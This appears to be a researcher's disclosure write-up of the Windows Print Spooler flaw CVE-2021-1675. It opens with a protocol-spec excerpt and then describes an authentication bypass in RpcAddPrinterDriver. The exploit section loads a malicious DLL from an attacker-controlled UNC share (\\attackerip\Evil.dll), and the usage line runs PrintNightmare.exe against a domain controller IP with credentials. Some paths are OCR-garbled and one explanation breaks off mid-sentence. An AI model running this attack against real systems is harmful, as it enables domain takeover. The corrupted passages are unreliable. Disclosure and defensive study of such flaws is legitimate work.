

To add or update a printer driver ("OEM Printer Driver") to a print server ("CORPSERV"), a client ("TESTCLT") performs the following steps

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- 2. The client ensures that the files for the printer driver are in a location accessible to the server. For that purpose, the client can share a local directory containing the files, or use [MS-SMB] to place the files into a directory on the server
- 3. The client then allocates and populates a DRIVER_INFO_2 structure as follows:

```
pName = L"OEM Printer Driver";
```

pEnvironment = L"Windows NT x86"; /* Environment the driver is compatible with */

pDriverPath = "\\CORPSERV\C\$\DRIVERSTAGING\OEMDRV.DLL";315 / 415

[MS-RPRN] - v20200826

Print System Remote Protocol

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pDataFile = "\\CORPSERV\C\$\DRIVERSTAGING\OEMDATA.DLL";

pConfigFile = "\\CORPSERV\C\$\DRIVERSTAGING\OEMUI.DLL";

- 4. The client allocates a DRIVER_CONTAINER driverContainer structure and initializes it to contain the DRIVER_INFO_2 structure.
- 5. The client calls RpcAddPrinterDriver.

RpcAddPrinterDriver(L"\\CORPSERV", &driverContainer);

CVE-2021-1675 Analysis

Clearly, if an attacker can bypass the authentication of RpcAddPrinterDriver. He could install an malicious driver in the print server. In msdn, the client need SeLoadDriverPrivilege to call the RPC. However, this isn't true. Let check the authentication logical here:



ValidateObjectAccess is a normal security check for Spooler Service. But in line 19 and 20, argument a4 and a7 is user controllable. So, a normal user can bypass the security check and add an driver. If you are in the domain, a normal domain user can connect to the Spooler service in the DC and install a driver into the DC. Then he can fully control the Domain.

Exploit

But the real attack is not that simple. To exploit the authentication bypass bug, we need to understand what the Spooler service will do when you calling RpcAddPrinterDriver. Suppose you supply there path to the service

pDataFile = A.dll

pConfigFile =\attackerip\Evil.dll

pDriverPath=C.dll

It will copy A,B and C into folder C:\Windows\System32\spool\drivers\x64\3\new. And then it will copy them to C:\Windows\System32\spool\drivers\x64\3, and load

 $C:\Windows\System32\spool\drivers\x64\3\A.dll$ and

C:\Windows\System32\spool\drivers\x64\3\C.dll into the Spooler service. However, in the latest version, Spooler will check to make sure that A and C is not a UNC path. But as B can be an UNC path, so we can set pConfigFile as an UNC path (an evildll). This will make our evildll Evil.dll be copied into C:\Windows\System32\spool\drivers\x64\3\ Evil.dll. Then call RpcAddPrinterDriver

again, to set pDataFile to be C:\Windows\System32\spool\drivers\x64\3\ Evil.dll. It will load our evil dll Unfortunate it does not work. Because if vou set A. B. C in the folder







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ola version will be backup into C:\vvinaows\5ystem32\spool\arivers\xo4\3\ola\1\ folaer. Ther we can bypass the access conflict and success inject our evil.dll into spooler service.

Successfully load our dll:

Usage

.\PrintNightmare.exe dc_ip path_to_exp user_name password

Example:

.\PrintNightmare.exe 192.168.5.129 \\192.168.5.197\test\MyExploit.dll user2 test12



kimg Tested on windows sever 2019 1809 17763.1518

Impact

This vulnerability can be used to achieve LPE and RCE. As for the RCE part, you need a user to authenticated on the Spooler service. However, this is still critical in Domain environment. Because normally DC will have Spooler service enable, a compromised domain user may use this vulnerability to control the DC.

Here are more hidden bombs in Spooler, which is not public known. We will share more RCE and LPE vulnerabilities in Windows Spooler, please stay tuned and wait our Blackhat talks 'Diving Into Spooler: Discovering LPE and RCE Vulnerabilities in Windows Printer'.

Credit

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